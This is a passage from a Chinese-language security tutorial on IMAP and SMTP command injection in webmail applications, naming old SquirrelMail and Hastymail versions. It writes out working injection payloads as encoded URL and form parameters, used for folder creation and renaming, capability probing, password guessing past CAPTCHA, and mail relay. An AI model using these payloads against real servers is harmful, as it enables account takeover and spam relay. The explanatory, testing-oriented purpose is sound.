如何利用注射技术攻击邮件服务器(2)
来源:51CTO 时间:2008-08-12 11:29:00
四、邮件服务器注射的优势
对于邮件函数的注射之前人们就讨论过,但说得最多的还是PHP的mail()函数中的CRLF注射。然而,这些文章直到现在仅对某些部位进行注射,如email头部注射等。这种类型的注射允许一个人进行各种的操作(发送匿名电子邮件、垃圾邮件/转发等等)。实际上,使用邮件服务器注射技术也能达到这些目的,因为它们都是基于同种类型的弱点。与之相比,邮件服务器注射技术的过人之处是能向受影响的邮件服务器注射所有命令,而没有任何限制。就是说,这种利用技术不仅允许对电子邮件头部进行注入(“From :”、“Subject :”、“To :”等),而且还可以向跟webmail应用程序通信的邮件服务器(IMAP/SMTP)注入任意的命令。
邮件服务器注射远胜过对webmail应用程序提供的功能的“简单”滥用,例如发送大量电子邮件等。这种技术允许人们执行webmail应用程序提供的常规动作之外的额外的动作,如通过IMAP命令引起邮件服务器的缓冲区溢出等。对于渗透测试人员来说,注入任意的命令是他们梦寐以求的,因为这在某些情况下可以完全控制邮件服务器,以便对其各种弱点进行测试。
五、发动攻击
下面我们用实例来解释不同类型的邮件服务器攻击方法,以及邮件服务器注射技术示例。这样的实例曾发生在SquirrelMail(1.2.7和1.4.5版本)和Hastymail(1.0.2和1.5版本)这两种Webmail应用程序上。因为SquirrelMail团队已经废止了SquirrelMail的1.2.7版本,而推荐的最低版本为1.4.6,因为之前的版本都有弱点。Hastymail在1.5之前的所有版本都容易受到SMTP和IMAP注射的影响,所以要经常检查最新的补丁。SquirrelMail和Hastymail团队在收到这些问题的通知后,都迅速进行了修正。不久之后,Nessus发布了一个检查这种弱点的插件。
实施攻击时,必须经过以下两个步骤:
确定出一个有弱点的参数;
了解它的作用范围。
(一)发现有弱点的参数
识别有弱点的参数的方法可以采用其他类型注射所采用的方法:试探法。也就是说,要发送具有异常值(应用程序的非预期值)的请求给原始IMAP和SMTP命令所用到的每个可疑参数,然后分析其行为,从而找出可以利用的参数。下面举例说明。
当用户要访问SquirrelMail中的收件箱(INBOX)时,所用的请求如下所示:
http: //src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX
如果用户用下列方式修改参数“mailbox”的值:
http:///src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX%22
那么应用程序就会返回一个如下所示的错误信息:
ERROR : Bad or malformed request.
Query: SELECT "INBOX""
Server responded: Unexpected extra arguments to Select
显然,这不是该应用程序所期望的正常行为。此外,该消息显示IMAP命令“SELECT”正在被执行。利用这个方法,我们可以推断出参数“mailbox”具有邮件服务器注射漏洞,准确来说是容易受到IMAP注射的攻击。在其他情况下,有弱点的参数的检测和利用没有这么明显。例如,当用户访问它们的Hastymail收件箱时,相应的请求如下所示:
http:///html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=INBOX
如果用户用下列方式修改参数“mailbox”的值:
http:///html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=INBOX"
应用程序将回应下列消息:
Could not access the following folders:
INBOX\"
To check for outside changes to the folder list go to the folders page
在此种情况下,添加引号并没有改变应用程序的行为。结果跟用户已经注入其他任何字符时一样:
http:///html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST
那么应用程序就会返回同样的错误信息:
Could not access the following folders:
NOTEXIST
To check for outside changes to the folder list go to the folders page
如果用户试图注射其它的IMAP命令:
http:///html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST
"%0d%0aA0003%20CREATE%20"INBOX.test
那么应用程序就会又返回一个错误信息:
Unable to perform the requested action
Hastymail said:: A0003 SELECT "INBOX"
And the IMAP server said::
A0003 NO Invalid mailbox name.
乍一看,好像是IMAP注射无法进行。然而,通过使用引号的一种变化形式,我们能够达到目的。下一个例子使用引号的双字符编码形式即%2522,来替换上面的单字符形式:
http:///html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST%2522%0d%0aA0003%20CREATE%20%2522INBOX.test
在此种情况下,应用程序不仅不会返回任何错误信息,而且还会在收件箱创建文件夹“test”。其它的滥用情形:
◆给参数一个空值,例如“mailbox= ”。
◆用不存在的邮箱的名称来替换某些值,例如“mailbox=NotExists”。
◆给参数添加其它的值,例如“mailbox=INBOX PARAMETER2”
◆添加其它的非标准字符,例如\, ?, @, #, !, |, \n。
◆添加CRLF序列,例如“mailbox=INBOX%0d%0a”。
(二)作用域
一旦检测到了有弱点的参数(IMAP或者SMTP命令),必须了解它的作用范围。换句话说,我们需要了解要攻击的命令,以便提供适当的参数来注入我们的IMAP/SMTP命令。
为能够成功使用邮件服务器注射技术,先前的命令必须用CRLF(“%0d%0a”)结束。通过这种方式,该序列用于隔离命令。如果用户能注入一个命令并看到了返回的(由邮件服务器产生的)错误信息,那么他们必须进一步了解完成的操作的作用域,这可能像查看他们的内容那么简单。下面举例说明。
当用户读取在SquirrelMail中的电子邮件时,将发出下列请求:
http:///src/read_body.php?mailbox=INBOX&passed_id=1&startMessage=1
&show_more=0
如果用户用下列方式修改参数“passed_id”的值:
http:///src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1&show_more=0
那么应用程序就会返回一个如下所示的错误信息:
ERROR : Bad or malformed request.
Query: FETCH test:test BODY[HEADER]
Server responded: Error in IMAP command received by server.
用户可以在这里发现如下事实:执行的IMAP命令是“FETCH”,以及它使用的各个参数。现在,我们已经找到了有弱点的参数并知道了正在被执行命令,所以用户已经具有足够的信息来注入额外的命令了:
http:///src/read_body.php?mailbox=INBOX&passed_id=1
BODY [HEADER]%0d%0aZ900 RENAME INBOX ENTRADA%0d%0aZ910 FETCH 1&startMessaGe=1&show_more=0
这个请求将在服务器上执行以下IMAP命令:
FETCH 1 BODY[HEADER] Z900 RENAME INBOX ENTRADA Z910 FETCH 1 BODY[1]
如果用户不能查看错误信息(即处于“盲注射”情形),那么有关该操作的信息将摘自用户请求的操作类型。例如,如果注射通过称为“password”的认证表单的参数来完成的,那么要执行的IMAP命令将是:
AUTH LOGIN
如果注射是通过请求的参数“mailbox”来发动的话,那么IMAP命令的执行情况如下所示:
LIST ""
(三)信息泄漏
采用的技术:IMAP注射
用户认证要求:无
利用IMAP注射可以获得利用其它方法无法获取的IMAP服务器方面的信息。如果用户能将命令“CAPABILITY”注入到参数“mailbox”之中:
http:///src/read_body.php?mailbox=INBOX%22%0d%0aZ900 CAPABILITY%0d%0aZ910 SELECT "INBOX&passed_id=1&startMessage=1&show_more=0
CAPABILITY命令的响应显示了一列服务器支持的功能名称,这些名称由逗号进行间隔。下面我们看一个例子:
* CAPABILITY IMAP4 IMAP4rev1 UIDPLUS IDLE LOGIN-REFERRALS NAMESPACE QUOTA CHILDREN
Z900 OK capabilities listed
* CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ MAILBOX-REFERRALS NAMESPACE UIDPLUS ID NO_ * IC_RENAME UNSELECT CHILDREN MULTIAPPEND SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES IDLE LISTEXT LIST-SUBSCRIBED ANNOTATEMORE X-NETSCAPE
Z900 OK Completed
* CAPABILITY IMAP4rev1 STARTTLS AUTH=GSSAPI XPIG-LATIN
Z900 OK Completed
利用该命令,用户可以探测服务器支持的不同认证方式(响应“AUTH=”),禁止的登录命令(LOGINDISABLED),添加的支持扩展和IMAP协议的修正等。
由于CAPABILITY命令无需认证就可以执行,所以在发现一个参数具有IMAP注射漏洞的情况下,总能执行该命令。
(四)绕过CAPTCHA
采用的技术:IMAP注射
用户认证要求:无
利用CAPTCHA查找Web应用非常流行,目标很明显:防止对某些特定的进程实施自动化的攻击。例如,用户注册表单中的CAPTCHA用来阻止一个robot记录用户帐户,或者防止自动进行用户调查或者口令破解。如果IMAP服务器的验证机制带有IMAP注射漏洞,那么存心不良的用户就可以通过利用CAPTCHA来突破该限制。
首先,假设认证表单中的“password”字段可以注入IMAP命令。如果攻击者想要刺探一个登录名为“victim”、口令为“pwdok”用户的口令,他们可以利用一个字典进行枚举的方法,通过不断发送请求来达到目的。
然后,再假定口令字典有下列词语组成:pwderror1、pwderror2、pwdok和pwderror。这种情况下,用户可以注入以下命令来实施进攻:
http:///src/login.jsp?login=victim&password=%0d%0aZ900 LOGIN victim pwderror1%0d%0aZ910 LOGIN victim pwderror2%0d%0aZ920 LOGIN victim pwdok%0d%0aZ930 LOGIN victim pwderror3
它将导致在IMAP服务器(C:客户端的请求,S:服务器的响应)上运行以下命令:
C: Z900 LOGIN victim pwderror1
S: Z900 NO Login failed: authentication failure
C: Z910 LOGIN victim pwderror2
S: Z910 NO Login failed: authentication failure
C: Z920 LOGIN victim pwdok
S: Z920 OK User logged in
C: Z930 LOGIN victim pwderror3
S: Z930 BAD Already logged in
所以,如果受害者的口令正好位于所用字典中的话,当最后一次命令注射结束时,攻击者将会发现他们已经通过认证了。现在,他们已经可以注入和执行只有登录并经过认证的用户才能注入和执行的命令了。
(五)转发
采用的技术:SMTP注射
用户认证要求:有
用户经过webmail应用程序认证后,就能够编辑并发送电子邮件了。假如参数“subject”具有SMTP注射攻击漏洞。在这种情况下,就能够导致邮件服务器的转发攻击,例如以下命令将引起来自外部地址的电子邮件被发送到另外一个外部地址:
POST http:///compose.php HTTP/1.1
...
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="subject"
Relay Example
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
Relay test
.
-----------------------------134475172700422922879687252
...
这会导致向服务器发送以下SMTP命令序列:
MAIL FROM:
RCPT TO:
DATA
Subject: Relay Example
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
Relay test
.
...